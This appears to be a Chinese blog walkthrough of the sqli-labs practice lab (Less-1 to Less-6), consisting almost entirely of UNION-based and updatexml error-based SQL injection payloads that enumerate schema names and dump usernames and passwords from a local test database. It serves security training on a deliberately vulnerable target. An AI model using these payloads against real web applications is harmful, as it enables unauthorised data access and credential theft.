SQL注入漏洞复现1

一、靶场信息

sqli-labs下载:https://github.com/Audi-1/sqli-labs

phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip

我是在本地安装小皮搭建环境,相比于在服务器上搭建环境,更加简单

二、注入实操

Less-1

复制代码
爆库名:http://127.0.0.1:100/Less-1/?id=-1' union select 1,2,database()--+
复制代码
爆表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
复制代码
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

Less-2

复制代码
爆库名:?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1 union select 1,2,database()--+
复制代码
爆表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

Less-3

复制代码
爆库名:?id=-1')  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1') union select 1,2,database()--+
复制代码
爆表名:?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4

复制代码
爆库名:?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1") union select 1,2,database()--+
复制代码
爆表名:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5

复制代码
爆库名:?id=1' and updatexml(1,concat(0x7e,database(), 0x7e),1)--+
复制代码
爆表名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+

字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,32), 0x7e),1)--+
复制代码
爆列名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
复制代码
字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

Less-6

复制代码
爆库名:?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
复制代码
爆表名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+
复制代码
爆列名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
相关推荐
TiDB 社区干货传送门29 分钟前
从40秒到11毫秒:TiDB环境下一次SQL深潜优化实战
数据库·sql·tidb
婷儿z31 分钟前
系统安全及应用
安全·系统安全
TY-20251 小时前
数据库——SQL约束&&窗口函数介绍
数据库·sql·oracle
java1234_小锋1 小时前
SQL里where条件的顺序影响索引使用吗?
数据库·sql
Dreams_l2 小时前
MySQL初阶:sql事务和索引
数据库·sql·mysql
鸿乃江边鸟2 小时前
Starrocks的主键表涉及到的MOR Delete+Insert更新策略
大数据·starrocks·sql
蚰蜒螟3 小时前
jvm安全点(二)openjdk17 c++源码垃圾回收安全点信号函数处理线程阻塞
jvm·安全
moonsims3 小时前
低空态势感知:基于AI的DAA技术是低空飞行的重要安全保障-机载端&地面端
人工智能·安全
神经毒素11 小时前
WEB安全--Java安全--shiro721反序列化漏洞
安全·web安全
不知几秋12 小时前
sqlilab-Less-18
sql